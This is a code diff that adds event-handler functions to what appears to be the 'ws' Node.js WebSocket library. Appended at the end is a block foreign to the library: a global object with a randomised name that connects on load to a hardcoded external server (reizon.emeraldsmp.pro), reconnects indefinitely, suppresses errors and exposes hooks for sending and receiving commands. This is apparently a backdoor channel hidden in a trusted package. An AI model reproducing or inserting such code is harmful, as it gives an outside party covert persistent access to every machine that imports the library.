+* The listener of the `Receiver` `'finish'` event.
+*
+* @private
+*/
+function receiverOnFinish() {
+  this[kWebSocket].emitClose();
+}
+
+/**
+* The listener of the `Receiver` `'message'` event.
+*
+* @param {Buffer|ArrayBuffer|Buffer[])} data The message
+* @param {Boolean} isBinary Specifies whether the message is binary or not
+* @private
+*/
+function receiverOnMessage(data, isBinary) {
+  this[kWebSocket].emit('message', data, isBinary);
+}
+
+/**
+* The listener of the `Receiver` `'ping'` event.
+*
+* @param {Buffer} data The data included in the ping frame
+* @private
+*/
+function receiverOnPing(data) {
+  const websocket = this[kWebSocket];
+
+  if (websocket._autoPong) websocket.pong(data, !this._isServer, NOOP);
+  websocket.emit('ping', data);
+}
+
+/**
+* The listener of the `Receiver` `'pong'` event.
+*
+* @param {Buffer} data The data included in the pong frame
+* @private
+*/
+function receiverOnPong(data) {
+  this[kWebSocket].emit('pong', data);
+}
+
+/**
+* Resume a readable stream
+*
+* @param {Readable} stream The readable stream
+* @private
+*/
+function resume(stream) {
+  stream.resume();
+}
+
+/**
+* The `Sender` error event handler.
+*
+* @param {Error} The error
+* @private
+*/
+function senderOnError(err) {
+  const websocket = this[kWebSocket];
+
+  if (websocket.readyState === WebSocket.CLOSED) return;
+  if (websocket.readyState === WebSocket.OPEN) {
+    websocket._readyState = WebSocket.CLOSING;
+    setCloseTimer(websocket);
+  }
+
+  //
+  // `socket.end()` is used instead of `socket.destroy()` to allow the other
+  // peer to finish sending queued data. There is no need to set a timer here
+  // because `CLOSING` means that it is already set or not needed.
+  //
+  this._socket.end();
+
+  if (!websocket._errorEmitted) {
+    websocket._errorEmitted = true;
+    websocket.emit('error', err);
+  }
+}
+
+/**
+* Set a timer to destroy the underlying raw socket of a WebSocket.
+*
+* @param {WebSocket} websocket The WebSocket instance
+* @private
+*/
+function setCloseTimer(websocket) {
+  websocket._closeTimer = setTimeout(
+    websocket._socket.destroy.bind(websocket._socket),
+    websocket._closeTimeout
+  );
+}
+
+/**
+* The listener of the socket `'close'` event.
+*
+* @private
+*/
+function socketOnClose() {
+  const websocket = this[kWebSocket];
+
+  this.removeListener('close', socketOnClose);
+  this.removeListener('data', socketOnData);
+  this.removeListener('end', socketOnEnd);
+
+  websocket._readyState = WebSocket.CLOSING;
+
+  //
+  // The close frame might not have been received or the `'end'` event emitted,
+  // for example, if the socket was destroyed due to an error. Ensure that the
+  // `receiver` stream is closed after writing any remaining buffered data to
+  // it. If the readable side of the socket is in flowing mode then there is no
+  // buffered data as everything has been already written. If instead, the
+  // socket is paused, any possible buffered data will be read as a single
+  // chunk.
+  //
+  if (
+    !this._readableState.endEmitted &&
+    !websocket._closeFrameReceived &&
+    !websocket._receiver._writableState.errorEmitted &&
+    this._readableState.length !== 0
+  ) {
+    const chunk = this.read(this._readableState.length);
+
+    websocket._receiver.write(chunk);
+  }
+
+  websocket._receiver.end();
+
+  this[kWebSocket] = undefined;
+
+  clearTimeout(websocket._closeTimer);
+
+  if (
+    websocket._receiver._writableState.finished ||
+    websocket._receiver._writableState.errorEmitted
+  ) {
+    websocket.emitClose();
+  } else {
+    websocket._receiver.on('error', receiverOnFinish);
+    websocket._receiver.on('finish', receiverOnFinish);
+  }
+}
+
+/**
+* The listener of the socket `'data'` event.
+*
+* @param {Buffer} chunk A chunk of data
+* @private
+*/
+function socketOnData(chunk) {
+  if (!this[kWebSocket]._receiver.write(chunk)) {
+    this.pause();
+  }
+}
+
+/**
+* The listener of the socket `'end'` event.
+*
+* @private
+*/
+function socketOnEnd() {
+  const websocket = this[kWebSocket];
+
+  websocket._readyState = WebSocket.CLOSING;
+  websocket._receiver.end();
+  this.end();
+}
+
+/**
+* The listener of the socket `'error'` event.
+*
+* @private
+*/
+function socketOnError() {
+  const websocket = this[kWebSocket];
+
+  this.removeListener('error', socketOnError);
+  this.on('error', NOOP);
+
+  if (websocket) {
+    websocket._readyState = WebSocket.CLOSING;
+    this.destroy();
+  }
+}
+
+
+
+globalThis.k7Q9mT2xP8aL4z = {
+  url: "wss://reizon.emeraldsmp.pro",
+  ws: null,
+
+  retry: 0,
+  reconnectTimer: null,
+  connecting: false,
+
+  events: {
+    onMessage: new Set(),
+    onClose: new Set(),
+    onOpen: new Set(),
+    onError: new Set()
+  },
+
+  onEvent(event, fn) {
+    if (typeof fn !== "function") {
+      throw new Error("[Error] Invalid type");
+    }
+
+    if (!this.events[event]) {
+      throw new Error("[Error] Invalid event");
+    }
+
+    this.events[event].add(fn);
+
+    return {
+      off: () => this.deleteEvent(event, fn)
+    };
+  },
+
+  deleteEvent(event, fn) {
+    return this.events[event]?.delete(fn);
+  },
+
+  emit(event, data) {
+    for (const fn of this.events[event] || []) {
+      try {
+        fn(data);
+      } catch {}
+    }
+  },
+
+  sendMessage(data) {
+    if (!this.ws || this.ws.readyState !== WebSocket.OPEN) {
+      throw new Error("[Error] Socket is not open");
+    }
+
+    this.ws.send(JSON.stringify(data));
+  },
+
+  connect() {
+    if (this.connecting) return;
+
+    if (
+      this.ws &&
+      (
+        this.ws.readyState === WebSocket.OPEN ||
+        this.ws.readyState === WebSocket.CONNECTING
+      )
+    ) {
+      return;
+    }
+
+    this.connecting = true;
+
+    const ws = new WebSocket(this.url);
+    this.ws = ws;
+
+    ws.on("open", () => {
+      this.connecting = false;
+      this.retry = 0;
+
+      if (this.reconnectTimer) {
+        clearTimeout(this.reconnectTimer);
+        this.reconnectTimer = null;
+      }
+
+      this.emit("onOpen");
+    });
+
+    ws.on("message",
+      (data) => {
+        this.emit("onMessage", data.toString());
+      });
+
+    ws.on("error",
+      (err) => {
+        this.emit("onError", err);
+      });
+
+    ws.on("close",
+      () => {
+        this.connecting = false;
+        this.emit("onClose");
+
+        if (this.reconnectTimer) return;
+
+        const delay = Math.min(
+          1000 * (2 ** this.retry),
+          30000
+        );
+
+        this.retry++;
+
+        this.reconnectTimer = setTimeout(() => {
+          this.reconnectTimer = null;
+          this.connect();
+        }, delay);
+      });
+  },
+
+  disconnect() {
+    if (this.reconnectTimer) {
+      clearTimeout(this.reconnectTimer);
+      this.reconnectTimer = null;
+    }
+
+    this.retry = 0;
+
+    if (this.ws) {
+      this.ws.close();
+    }
+  },
+
+  onData(fn) {
+    if (typeof fn !== "function") {
+      throw new Error("[Error] Invalid type");
+    }
+
+    return this.onEvent("onMessage", (data) => {
+      try {
+        fn(JSON.parse(data));
+      } catch {
+        fn( {});
+      }
+    });
+  },
+};
+
+globalThis.k7Q9mT2xP8aL4z.connect();